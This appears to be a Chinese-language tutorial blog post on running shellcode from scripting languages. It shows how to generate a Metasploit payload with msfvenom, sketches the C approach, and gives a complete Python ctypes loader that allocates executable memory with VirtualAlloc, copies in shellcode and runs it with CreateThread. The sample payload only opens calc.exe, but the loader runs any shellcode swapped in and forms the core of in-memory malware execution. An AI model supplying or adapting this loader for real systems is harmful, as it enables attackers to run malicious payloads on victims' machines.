生成
首先生成一個測試的msf shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f python
把其中的shellcode復制出來留待待會使用
原理
大部分腳本語言加載 shellcode 其實都是通過 c
的 ffi
去調用操作系統的api,其實並沒有太多的技巧在里面,明白了原理,只需要查一下對應的腳本語言怎么調用 c
即可。
那么我們只需要明白 c
通常是怎么加載 shellcode
的即可一通百通。
那么 c
是怎么加載 shellcode
呢,我們直接從匯編開始探究。
shellcode
這個東西我們明白是一串可執行的二進制(一般可執行文件的擁有可執行權限的section為.text),那么我們先通過其他的手段開辟一片擁有可讀可寫可執行權限的區域放入我們的 shellcode
,然后跳轉到 shellcode
首地址去執行就行了,匯編里面改變eip(即當前指令的下一條即將運行指令的虛擬地址)的方法有不少,最簡單的就是直接 jmp
過去了。也就是寫成偽碼大概意思就是(動態申請內存就不寫了)
lea eax, shellcode;
jmp eax;
那么我們用 c
怎么表示呢?我這里也寫一段偽碼(因為本文的重點並不是在於 c
代碼的編寫)
那么按照剛才的思路,先申請一塊可執行的內存,放入 shellcode
然后跳轉過去執行即可。
// shellcode
unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
...;
// 定義一個函數類型
typedef void (__stdcall *CODE) ();
// 申請內存
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入內存
memcpy(p, shellcode, sizeof(shellcode));
CODE code =(CODE)p;
code();
我並沒有寫出一個可用的 c
加載 shellcode
,只是旨在點出一下流程,然后引出后面的 python
加載 shellcode
,上面我們先申請了一塊帶有可讀可寫可執行權限的內存,然后把 shellcode
放進去,然后我們強轉為一個函數類型指針,最后調用這個函數,達到了我們的目的。
Python實現
前面我說過,大部分腳本語言加載 shellcode
都是調用的c的ffi,那么我們直接按照之前的思路來就行了。下面我直接貼代碼
import ctypes
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
shellcode += b"\x78\x65\x00"
shellcode = bytearray(shellcode)
# 設置VirtualAlloc返回類型為ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申請內存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 創建一個線程從shellcode防止位置首地址開始執行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面創建的線程運行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
注意其中的的每個 c_uint64
,這個類型在64位上是必要的,我們需要手動指定 argtypes
和 restype
,否則默認的是 32 位整型。
我的代碼里面加了注釋,我們可以看到,基本思路也是一樣的,先分配一塊可讀可寫可執行代碼的內存,在代碼中,我使用的是 0x40
(PAGE_EXECUTE_READWRITE)和 0x3000
( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE),然后把 shellcode
塞進去,跳過去運行。
相信通過這一片文章的講解你能夠對 shellcode
的本質有更多的了解。